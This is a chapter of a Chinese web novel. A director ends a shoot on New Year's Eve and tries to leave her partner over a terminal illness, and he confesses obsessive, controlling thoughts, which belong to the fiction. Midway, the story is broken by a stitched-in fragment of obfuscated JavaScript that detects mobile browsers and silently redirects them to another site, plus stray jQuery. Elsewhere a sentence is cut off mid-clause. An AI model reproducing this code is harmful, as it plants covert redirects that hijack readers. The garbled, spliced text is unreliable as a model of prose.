52. 第 52 章

作品:《暗恋龙傲天的路人重生后

    “《真假千金》第67场,第4镜第1次拍摄完成。”苏白的声音混合着电流滋滋声从对讲机那头传来。


    这句指令一落地,剧组就井然有序地运转起来。


    道具、场记、化妆、演员全都散开,开始为下一拍摄做准备。


    “今晚应该是最后一场了?”雷菁放下手里游戏机,瞥了一眼桌上摊开的剧本。


    “嗯。”苏白应着,转了转的脖子,裹着军大衣站起来跺了跺脚,活动了下冻僵的身体。


    “拍完刚好能放大家回去过年。”苏白说完,又不放心地叮嘱道,“天气冷,大家都不容易,收工时记得包个红包,工资也要按三倍发。“


    “用你啰嗦。”雷菁把桌上亮起的手机丢过去道,“电话。”


    苏白看了一眼来电联系人,走开一段距离才接通电话。


    “今天还在忙吗?”时平的声音从电话里传来,“又下雪了,我想去给你送些姜茶和衣服。”


    “不用,剧组都有。”苏白脚尖无意识地踢着路边的石头。


    时平那边没再说话,听筒那头传来呼啸的风声。


    “你现在在哪?也在忙吗?”苏白受不了这样的令人窒息的安静,主动挑起话题。


    “在我们第一次见面的河边散步。”时平回答。


    大雪天在河边散步?


    苏白看了看棚外的夜色和风雪,想起了时平的习惯。


    他只有遇见烦心事的时候,才会去河岸边坐上一晚上。


    “最近是遇上了什么麻烦了吗?”苏白有些担心。


    “就是心情有些不好,出来走走。”时平换了个话题,“今晚会回来吗?或者我过去。毕竟今晚是除夕,我想和你过。”


    他问的,正是苏白想要逃避的。


    这些时日,不少电影项目找到时平,但都被他拒绝了。


    他严格地遵守两人间的契约合同,完全把自己摆在的辅助地位,进了许国庆的工作室拼命学习提升自己,安静且耐心地等待着苏白的下部电影。


    而苏白,她还没想好怎么跟时平解释自己不再需要”专属导演”这件事情,干脆借着进组拍摄和学业繁忙的由头,出来躲了一个半月。


    可总躲着也不是办法,还是快刀斩乱麻吧。


    “那今晚就见一面吧。”见一面把一切都说清楚。


    这个答案就是时平想要的,他很高兴挂了电话。


    苏白握着手机发了会呆,回到了监视器前。


    正好场记找来:“苏导,可以去放号码牌了。”


    所谓号码牌,就是一堆标着数字、可以黏贴的小圆片,也是苏白的指挥棒。


    《真假千金》拍摄现场不需要演员一遍遍的走位磨合,只需要听懂苏白指挥棒的信号即可。到目前为止,她的指令还从未出错,所有的镜头都是一次过,所以才


    最后一场戏是“真千金(女主角)和南宫浩(四个男主之一)的婚礼”。


    男女主已经到场,技术人员也全部到位,苏白裹紧了军大衣走过来后,他们就从四周围了过来,像是等待将军命令的士兵。


    苏白先把技术人员叫过来,每人发了一张流程图,上面清楚标明了各种器材设备启动的时间顺序和技术参数。


    技术人员收到图表后,回到各自岗位上,开始调试。


    紧接着,苏白拿出蓝色号码牌,男主演自觉向前,亦步亦趋跟了过去。


    “这是第一个点位。”苏白在地面贴上第一个号码牌,“拍摄前先滴眼药水,开始拍摄时先低头看手里的捧花,然后在心里数三秒,抬头,眼泪从眼睑中央落下。”


    男主角点头表示明白,然后演示了一遍。


    苏白看过没有问题后,朝女主角招招手,继续讲解。


    接下来的十五分钟,苏白将手里的十几个号码牌散了个干净。


    做完这些,她回到监视器面前,拿起对讲机道:“各组注意,先走一条。”


    各组配合着走了一条,苏白纠正了些细节偏差后,朝场记点点头。


    场记表示明白,回到岗位。


    “《真假千金》第107场,第5镜第1次拍摄开始。”


    各设备开始运转,演员也动了起来,就像是个上了发条的八音盒,有序开始旋转歌唱。


    雷菁看着这些,评价道:“这些人就跟木偶似的由你指挥着,怪瘆人的。”


    苏白盯着监视器,连敷衍她的时间都没有。


    雷菁自讨没趣,低头看了看游戏机,最后还是抓了抓脸,挪到了苏白身边,陪她一起看监视器。


    尽管她什么都看不懂,但她能看明白苏白脸上的表情。


    十分钟后,等苏白脸上出现暖意,雷菁就跳起来拿着对讲机大声宣告道:“《真假千金》第107场,第5镜第1次拍摄完成。”


    伴随着这句话,不知道什么时候飘到上空的气球炸开,一张张红色钞票从天空洒落,绚烂的烟花点亮了天际。


    拍摄工作完成,大家都如释重负地舒了一口气,纷纷拿出手机开始抢票。


    摄像和场记过来跟苏白核查完今日份拍摄样片后,也加入了抢票大军。


    雷菁伸了个懒腰问苏白:“你接下来什么安排?”


    “大概,是先去花店买束花,然后回家好好跟道歉吧。”


    半夜还在营业的花店并不多,苏白迎着满天风雪开了四五十公里,才在街巷角落找到了一家。


    上京的冬天很少能看见鲜亮的颜色,天空被灰色的雾霾笼罩着,街道两旁要么是光秃秃的树枝,要么就是棕褐色的树干。乍一走进花店,看见五颜六色的缤纷花朵,还挺不习惯的。


    花店老板过来询问:“想买些什么花?”


    “想要两束花。”苏白想着,“一束红玫瑰,一束蒲公英。”


    花店老板利落包好花束,递过来一张小卡片,问:“需要写些什么吗?”


    的确是有很多话想说,可等苏白提笔,发现不知道该从何处说起。她沉默放下笔,抱起花束,回到风雪中。


    因为收到苏白要回来的信息,时平早早就等在楼下。


    在憧憧黑夜中,他借着雪光,看苏白向他走来。


    雪堆得很厚,苏白每一步都走的很慢,很小心。


    时平再也等不下去,飞身朝她奔去,紧紧地将她拥入怀中。


    苏白反应了一下,才抬手回抱。


    “不是说九点就能到家吗?”时平牵着她的手上楼,“怎么晚了一个小时?”


    苏白把手里两束花递过去:“去花店耽误了些时间。你更喜欢那束?”


    “你选的,我都很喜欢。”时平欢喜问道,“红玫瑰象征爱情,那蒲公英呢?”


    “蒲公英花语是放手和自由。”苏白安静地看向时平眼底,说道,“时平,我给你两个选择。”


    “你要是选了蒲公英,我们就到此为止,彼此自由。”


    “你要是选了红玫瑰,”苏白说着顿了一下,诚挚建议道,“你最好不要选红玫瑰。”因为那又是一次利用。


    时平愣在原地,然后像是反应过来什么似的。


    他让苏白坐在沙发上,然后蹲下,眼睛向上抬起看向苏白,语气温和又带着些循循善诱。


    “是出了什么事情吗?”


    这个反应...苏白隐约感觉到有些不对劲。


    但她也没多想,只说:“是我自己的一些原因。”


    “没关系的。”时平的表情更柔和了,“我们可以共同面对的。”


    他把苏白的双手贴在脸颊上,依偎着说道:“只是生病而已,我们不可以分开。”


    “嗯...啊?”苏白有些懵圈,“我说的是...不是,你怎么知道的?”


    “你对待生活一向马虎。”


    时平低头趴在她的膝上,搂住她的腰,把头埋进她小腹,说话的声音闷闷的。


    “你的那些维生素快吃完的时候,我拿着药瓶去药店买了些,里面的药片不一样。”


    “我托人找关系去查了一下,这是治疗神经退行性绝症亨廷顿病的药。”


    没想到在这个细节露了馅。


    不过,反正都是要分开,哪个理由也无所谓。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650837|169713||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“既然你都知道了。”苏白扯了扯时平头发,“那我们就分开吧,我不想...唔...你”


    她的话语被热烈汹涌的吻冲击的七零八碎。


    时平将苏白压在沙发上,手细心的托住了她的脖颈。


    和他小心翼翼的珍视举动不同,他的吻霸道、窒息又炙热,像是燃烧的火焰,强势烧干了令人赖以生存的氧气。


    时平的体型高大,将苏白遮掩严严实实,从后面看,只能看见她的一抹脚踝。


    那一点雪白,无力地踢着沙发,最终颓唐地归于平静,像是蝴蝶濒死时无力垂下的蝶翼。


    太过密集的亲吻让苏白几近昏厥,她喘着气,挤出几个字:“唔...停...下。”


    她的指令很管用,时平收敛了攻城略地的气势,缓慢又不舍的离开。


    暧昧的透明丝线在两人唇齿间断裂。


    和苏白满脸通红相比,时平脸上看不出太多端倪,他的情绪,只能从他激烈的心跳声中窥知一二。


    他抱着苏白坐起,脑袋依恋地靠在她的肩膀上,鼻尖钻进高领毛衣领口去嗅闻着她脖颈和发丝的气味。


    苏白不理解他的痴迷。


    大冬天的,她又忙着剧组的事情,都两天没洗澡了,身上都是风尘仆仆的味道。


    温热的呼吸全都落在脖子密集的血管处,她控制不住地抖了一下,偏开脑袋,说起正事。


    “这个病,你也知道,现在的医疗技术是治不好的。”


    “我也不想连累你,我们彼此分开是最好。”


    时平也不知道有没有听进去,闭着眼睛在她脖子上细细啜吻。


    又麻又痒的,四肢还都被压着,躲又躲不开。


    苏白忍了又忍,给他耳朵咬了一口。


    时平清醒过来,第一时间就是抬着下巴去看她的牙齿:“没受伤吧?”


    “...”


    完全无法沟通,苏白生无可恋地想。


    她破罐子破摔,很煞风景道:“看什么看,看我牙上有菜叶呀?”


    时平被她逗笑了,沉闷地气氛散开。


    好可爱,他怜惜的吻了吻苏白的睫毛,也总算是能好好说话了。


    “不是连累。”时平紧紧搂着苏白,眼神认真道,“我想选象征爱情的红玫瑰。苏白,我需要你爱我,需要你离不开我。”


    说实话,在拍电影这件事情上,他总是追不上苏白的脚步。苏白走的太快,即使他努力提升技术,学习理论,却也只能看见她的背影。


    时平害怕自己很快就没了利用价值,总是做着自己因为无用而被抛下的噩梦,只有蜷缩在苏白床前时才能睡得更安稳些。


    有时候,他甚至会因为追赶的疲惫,而生出一些阴暗的想法。比如,先卷走苏白的所有财产,再在饭菜里下上一些毒,苏白就再也跑不掉了,只能站在原地等他。


    基于这样的想法,时平知道苏白得了绝症后,刚开始是有些窃喜的。


    他记得苏白喜欢坦诚,向她坦白自己的内心和情绪:“因为生病,你会变得越来越孱弱,将不得不更加依赖我的照顾,我可以密不透风的钻进你生活的所有空隙。”


    “我可以完全掌控你。”


    苏白:“...”


    她觉得自己重生后已经够坏了。


    只是故意设局套牢时平为自己拍电影就足以让她时不时被愧疚缠绕着。


    现在,她觉得,比起她这种后天努力型选手,时平这种天赋型选手简直是坏的毫不费力,疯的更加彻底。


    但——


    比起细水长流,苏白却也觉得这样像蟒蛇绞杀时窒息又偏执的爱更方便被利用,也更容易去完成她的计划。


    果然,她也不太正常。


    苏白沉默着,默默地挪开了些,看向时平:“你告诉我这些,没想过我会害怕吗?”


    听到这个问题,时平笑了,他反问道:“难道不是你在纵容我的疯狂和黑暗吗?”


    “养虎为患的后果,你很清楚,并也愿意承担,不是吗?”


    很好,苏白想,还是个敏锐的疯子。